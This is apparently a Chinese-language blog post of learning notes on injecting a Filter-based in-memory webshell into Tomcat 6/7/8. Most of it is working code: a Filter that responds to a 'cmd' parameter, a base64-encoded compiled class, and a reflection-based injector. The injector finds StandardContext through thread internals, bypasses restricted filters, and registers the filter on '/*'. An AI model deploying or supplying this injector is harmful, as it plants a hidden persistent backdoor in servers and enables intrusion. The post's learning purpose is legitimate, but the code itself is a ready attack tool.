前言
和大哥们学新的姿势,感觉自己已经变成idea的性状了,这里的大哥说话又好听,我超喜欢这里的.jpg
以下是参考(抄袭)文章列表
怎么说呢,这几周玩了下java,大概也有点感觉了,打内存马就和win32寻址一样。
首先先解决在哪里打,也就是获取上下文standardContext
,在栈上寻址找到这个地址,哦不对,在java中应该叫做对象。
然后再基于这个对象派生,找到管理filter的这些列表,正常程序流程访问网页肯定是先检查一个filter列表,看看是否匹配,匹配就丢给filter处理,然后filter处理完再往下丢给servlet/controller这些处理。我们要做的就是找到那个filter列表的地址,然后想办法把我们的内存马加进去
怎么加呢?那肯定就是得先找到注册函数,把我们内存马注册成一个filter,依旧是从栈上派生出来,还是一个寻址问题。总体感觉jvav大差不差,还是能理解的。
当然,理解是一回事,真的要我写一套完整项目,那就是另一回事了.jpg
注意点
线程加载问题
加载Filter Class的时候,不能用系统ClassLoader,得用当前线程的Loader,不然会报找不到org.servlet.Filter
Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass",byte[].class,int.class,int.class);defineClass.setAccessible(true);
byte[] code = {};
Class filter = (Class)defineClass.invoke(Thread.currentThread().getContextClassLoader(),code,0,code.length);
Object testFilter = filter.newInstance();
得用Thread.currentThread().getContextClassLoader()
,不能用ClassLoader.getSystemClassLoader()
,MD就被这个坑了一天。
同样还是线程加载问题
如果类似注入点的地方获取不到线程,或者是由其他线程创建的,比如如果在tomcat的Servlet中用ClassLoader.getSystemClassLoader()
加载class(没错我就是这么干的),可以考虑用反射
Class<?> FilterDefClass =
Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterDef");
Object filterDef = FilterDefClass.newInstance();
的方式强行加载,虽然没啥用。。但是之前被卡在线程那里太久了导致我把这些加载不到的都换成了
完整代码
运行流程,东抄抄西抄抄,先从利用shiro反序列化注入冰蝎内存马把Tomcat678
抄出来,然后再从tomcat6、7、8、9内存马
把注入流程抄出来,然后缝合一下,就好了
先把Filter代码打包成class
package com;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import javax.servlet.*;
public class testFilter implements Filter{
public testFilter() {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
if (servletRequest.getParameter("cmd") != null){
servletResponse.getWriter().write("Inject OK!");
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
然后编译注入器代码
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Properties;
public class TomcatMemShellInject {
String uri;
String serverName;
Object standardContext;
public static byte[] base64Decode(String str) throws Exception {
Class clazz;
try {
clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var3) {
clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
private final static String filterName = "TomcatMemShellInject";
public byte[] getContent(String filePath) throws IOException {
File file = new File(filePath);
long fileSize = file.length();
if (fileSize > Integer.MAX_VALUE) {
System.out.println("file too big...");
return null;
}
FileInputStream fi = new FileInputStream(file);
byte[] buffer = new byte[(int) fileSize];
int offset = 0;
int numRead = 0;
while (offset < buffer.length
&& (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0) {
offset += numRead;
}
// 确保所有数据均被读取
if (offset != buffer.length) {
throw new IOException("Could not completely read file "
+ file.getName());
}
fi.close();
return buffer;
}
public TomcatMemShellInject() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException, ClassNotFoundException, IOException {
Tomcat678();
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
String result = "yv66vgAAADIATAoADAAoCQApACoIABsKACsALAgALQsALgAvCwAwADEIADIKADMANAsANQA2BwA3BwA4BwA5AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL3Rlc3RGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAOgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAkdGVzdEZpbHRlci5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAOAA8HADwMAD0APgcAPwwAQABBAQADY21kBwBCDABDAEQHAEUMAEYARwEACkluamVjdCBPSyEHAEgMAEkAQQcASgwAGwBLAQAOY29tL3Rlc3RGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWACEACwAMAAEADQAAAAQAAQAOAA8AAQAQAAAAMwABAAEAAAAFKrcAAbEAAAACABEAAAAKAAIAAAAJAAQACgASAAAADAABAAAABQATABQAAAABABUAFgACABAAAAA1AAAAAgAAAAGxAAAAAgARAAAABgABAAAADwASAAAAFgACAAAAAQATABQAAAAAAAEAFwAYAAEAGQAAAAQAAQAaAAEAGwAcAAIAEAAAAI0AAwAEAAAAKLIAAhIDtgAEKxIFuQAGAgDGAA8suQAHAQASCLYACbEtKyy5AAoDALEAAAADABEAAAAaAAYAAAATAAgAFAATABUAHgAWAB8AGAAnABkAEgAAACoABAAAACgAEwAUAAAAAAAoAB0AHgABAAAAKAAfACAAAgAAACgAIQAiAAMAIwAAAAMAAR8AGQAAAAYAAgAaACQAAQAlAA8AAQAQAAAAKwAAAAEAAAABsQAAAAIAEQAAAAYAAQAAABwAEgAAAAwAAQAAAAEAEwAUAAAAAQAmAAAAAgAn";
byte[] code = base64Decode(result);
;
Class filter = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), code, 0, code.length);
Object testFilter = filter.newInstance();
Class<?> FilterDefClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterDef");
Object filterDef = FilterDefClass.newInstance();
FilterDefClass.getMethod("setFilterName", String.class).invoke(filterDef, filterName);
Method addFilterDef = standardContext.getClass().getMethod("addFilterDef", FilterDefClass);
addFilterDef.invoke(standardContext, filterDef);
filterDef.getClass().getMethod("setFilterClass", String.class).invoke(filterDef, testFilter.getClass().getName());
Class<?> FilterMapClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.deploy.FilterMap");
Object filterMap = FilterMapClass.getConstructor(new Class[]{}).newInstance();
String setFilterName = (String) FilterDefClass.getMethod("getFilterName").invoke(filterDef);
FilterMapClass.getMethod("setFilterName", String.class).invoke(filterMap, setFilterName);
FilterMapClass.getMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST");
FilterMapClass.getMethod("addURLPattern", String.class).invoke(filterMap, "/*");
Method addFilterMap = standardContext.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);
addFilterMap.invoke(standardContext, filterMap);
Object tmpFilterDef = FilterDefClass.newInstance();
FilterDefClass.getMethod("setFilterClass", String.class).invoke(tmpFilterDef, "org.apache.catalina.ssi.SSIFilter");
FilterDefClass.getMethod("setFilterName", String.class).invoke(tmpFilterDef, filterName);
Class<?> ContextClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Context");
Class<?> applicationFilterConfigClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> applicationFilterConfigConstructor = applicationFilterConfigClass.getDeclaredConstructor(ContextClass, FilterDefClass);
applicationFilterConfigConstructor.setAccessible(true);
Properties properties = new Properties();
properties.put("org.apache.catalina.ssi.SSIFilter", "123");
Field restrictedFiltersField = applicationFilterConfigClass.getDeclaredField("restrictedFilters");
restrictedFiltersField.setAccessible(true);
restrictedFiltersField.set(null, properties);
Object filterConfig = applicationFilterConfigConstructor.newInstance(standardContext, tmpFilterDef);
Field filterField = filterConfig.getClass().getDeclaredField("filter");
filterField.setAccessible(true);
filterField.set(filterConfig, testFilter);
Field filterDefField = filterConfig.getClass().getDeclaredField("filterDef");
filterDefField.setAccessible(true);
filterDefField.set(filterConfig, filterDef);
Class<?> StandardContextClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.core.StandardContext");
Field filterConfigsField = StandardContextClass.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext);
filterConfigs.put(filterName, filterConfig);
filterConfigsField.set(standardContext, filterConfigs);
System.out.println("Inject OK");
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
} catch (IllegalAccessException ex) {
ex.printStackTrace();
} catch (InvocationTargetException ex) {
ex.printStackTrace();
} catch (InstantiationException ex) {
ex.printStackTrace();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (Exception e) {
// field不存在,错误不抛出,测试时可以抛出
}
clazz = clazz.getSuperclass();
}
return null;
}
public void getStandardContext() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {
if (thread == null) {
continue;
}
// 过滤掉不相关的线程
if (!thread.getName().contains("StandardEngine")) {
continue;
}
Object target = this.getField(thread, "target");
if (target == null) {
continue;
}
HashMap children;
try {
children = (HashMap) getField(getField(target, "this$0"), "children");
//org.apache.catalina.core.StandardHost standardHost = (org.apache.catalina.core.StandardHost) children.get(this.serverName);
children = (HashMap) getField(children.get(this.serverName), "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()) {
String contextKey = (String) iterator.next();
if (!(this.uri.startsWith(contextKey))) {
continue;
}
// /spring_mvc/home/index startsWith /spring_mvc
//StandardContext standardContext = children.get(contextKey);
System.out.println(children.get(contextKey).getClass().getName());
this.standardContext = children.get(contextKey);
System.out.println("here");
// 添加内存马
return;
}
} catch (Exception e) {
continue;
}
if (children == null) {
continue;
}
}
}
public void Tomcat678() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if (thread.getName().contains("exec")) {
continue;
}
Object target = this.getField(thread, "target");
if (!(target instanceof Runnable)) {
continue;
}
try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)) {
continue;
}
// 不是对应的请求时,serverPort = -1
System.out.println(getField(req, "serverNameMB").getClass().getName());
//org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
this.serverName = (String) getField(getField(req, "serverNameMB"), "strValue");
if (this.serverName == null) {
this.serverName = getField(req, "serverNameMB").toString();
}
// if (this.serverName == null){
// this.serverName = serverNameMB.getString();
// }
//org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "decodedUriMB");
this.uri = (String) getField(getField(req, "decodedUriMB"), "strValue");
if (this.uri == null) {
this.uri = getField(req, "decodedUriMB").toString();
}
// if (this.uri == null){
// this.uri = uriMB.getString();
// }
this.getStandardContext();
return;
}
}
}
}